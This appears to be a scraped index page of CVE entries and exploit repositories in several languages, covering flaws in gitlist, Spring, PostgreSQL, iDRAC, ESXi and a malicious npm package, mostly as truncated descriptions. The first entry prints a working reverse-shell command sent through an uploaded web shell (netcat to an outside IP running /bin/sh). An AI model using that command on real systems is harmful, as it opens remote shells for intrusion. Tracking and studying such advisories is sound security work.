gitlist-RCE

gitlist-RCE CVE-2014-4511 esempio: dopo il caricamento riuscito della shell: accesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-54757

A flaw was found in Trestle, a Python SDK and command-line tool for managing OSCAL compliance documents. This vulnerability involves server-side template injection SSTI due to the MDCleanInclude and MDSectionInclude Jinja2 tags improperly re-parsing untrusted Markdown content as template source...

CVE-2020-12078

CVE-2020-12078 O exploit oficial para Open-AudIT v3.3.1 Execução Remota de Código CVE-2020-12078...

CVE-2019-16662

CVE-2019-16662 L'exploit ufficiale per rConfig 3.9.2 Esecuzione di codice remoto CVE-2019-16662...

CVE-2026-16238

A flaw was found in PostgreSQL. An object creator can exploit a type confusion vulnerability in the pgrestoreattributestats function. This flaw occurs due to the conflation of range and multirange values, allowing the attacker to execute arbitrary code as the operating system user running the...

CVE-2026-14677

A flaw was found in PostgreSQL. An integer wraparound vulnerability in 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This can lead to arbitrary code execution as the operating system...

cve-2018-1207

cve-2018-1207 Exploit iDRAC 7 & 8 firmware 2.52.52.52 Beschreibung Dell EMC iDRAC7/iDRAC8, Versionen vor 2.52.52.52, enthalten eine CGI-Injection-Schwachstelle, die zur Ausführung von Remote-Code genutzt werden könnte. Ein entfernter, nicht authentifizierter Angreifer könnte möglicherweise...

CVE-2021-21974

CVE-2021-21974 PoC - VMware ESXi RCE-Exploit Beschreibung Dieses Repository enthält einen Proof of Concept PoC für die Schwachstelle CVE-2021-21974 , eine Schwachstelle zur Remote-Codeausführung RCE im OpenSLP-Dienst von VMware ESXi. Eine erfolgreiche Ausnutzung kann es einem nicht...

cve-2023-33476

CVE-2023-33476 ReadyMedia MiniDLNA dalla versione 1.1.15 fino alla 1.3.2 è vulnerabile a Buffer Overflow. La vulnerabilità è causata da una logica di validazione errata durante la gestione delle richieste HTTP che utilizzano la codifica di trasporto a chunk. Ciò fa sì che altro codice utilizzi...

CVE-2025-51726

Come richiesto, ho ora dimostrato entrambe le vulnerabilità BA2022 e BA2015 con scenari di sfruttamento pratici e prove di PoC, che mostrano come un attaccante potrebbe abusare di questi problemi in un contesto reale. 📌 1. BA2022 Hash Debole nella Firma del Codice – Dimostrazione dello Sfruttamen...

CVE-2022-22965

Spring4ShellCVE-2022-22965 Spring Framework RCE tramite Data Binding su JDK 9+ / spring4shell / CVE-2022-22965 Spring4ShellCVE-2022-22965 Demo dell'exploit https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4 Compilazione root@kitploit: docker pull...

CVE-2022-22963

Spring Cloud Function Schwachstelle CVE-2022-22963 Verwundbare Anwendung für CVE-2022-22963 CVE-2022-22963 Exploit-Demo https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4 Erstellen root@kitploit: docker pull me2nuk/cves:2022-22963 docker run -it ...

CVE-2021-31166-exploit

CVE-2021-31166 Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP Versioni interessate： Microsoft:Windows 10: versione 2004 per sistemi a 32 bit versione 2004 per sistemi basati su x64 versione 2004 per sistemi basati su ARM64 versione 20H2 per sistemi a 32 bit versione...

CVE-2017-9841

CVE-2017-9841 CVE-2017-9841-Detektor-Skript von Massimiliano Brasile WAS IST PASSIERT Am 6. Januar 2020 wurde ich auf ein Sicherheitsproblem hingewiesen, das offenbar die meisten Versionen von PrestaShop betrifft die Warnung wurde vom PS-Team nur intern am 3. Januar 2020 geteilt. Nach einigen...

mbanyamer-Microsoft-PowerPoint-Use-After-Free-Remote-Code-Execution-RCE

CVE-2025-47175 - Microsoft PowerPoint Use-After-Free UAF PoC di esecuzione di codice remoto Panoramica Questa repository contiene un exploit Proof of Concept PoC per la vulnerabilità CVE-2025-47175 presente in Microsoft PowerPoint. La vulnerabilità è un bug di tipo Use-After-Free UAF che consente...

CVE-2025-5688-FreeRTOS-Plus-TCP-Out-of-Bounds-Write

CVE-2025-5688 – Exploit di scrittura fuori dai limiti in FreeRTOS-Plus-TCP Corruzione di memoria remota / DoS / potenziale attivazione di RCE in FreeRTOS-Plus-TCP durante l'elaborazione di nomi DNS eccessivamente lunghi nelle query LLMNR o mDNS Buffer Allocation Scheme 1. Autore dell'exploit:...

CVE-2025-26865

CVE-2025-26865: Iniezione di Template Lato Server in FreeMarker tramite il plugin "ecommerce" in Apache OfBiz A causa di una regressione tra le versioni 18.12.17 e 18.12.18, la correzione per la scoperta di CVE-2022-25813: Iniezione di Template Lato Server in FreeMarker in Apache OfBiz non è più...

CVE-2025-20029

CVE-2025-20029: Iniezione di comandi nell'interfaccia a riga di comando TMSH di F5 BIG-IP Esiste una vulnerabilità di iniezione di comandi nell'interfaccia a riga di comando ristretta “tmsh” di F5 che consente a un utente malintenzionato autenticato di sfruttare i comandi accessibili a un utente...

CVE-2024-22274

CVE-2024-22274: Esecuzione remota di codice autenticata in VMware vCenter Server Il server vCenter contiene una vulnerabilità di esecuzione remota di codice autenticata. Un attore malintenzionato con privilegi amministrativi sulla shell dell'appliance vCenter potrebbe sfruttare questo problema pe...

MAL-2026-14562 Malicious code in morglog (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d70fd694cbd6fff160cc788117eac2e85e921870f0a2a2e24dbaf81418ed19a1 [email protected] is published under a name resembling the popular morgan HTTP logger and reuses morgan's description. The tarball ships only LICENSE,...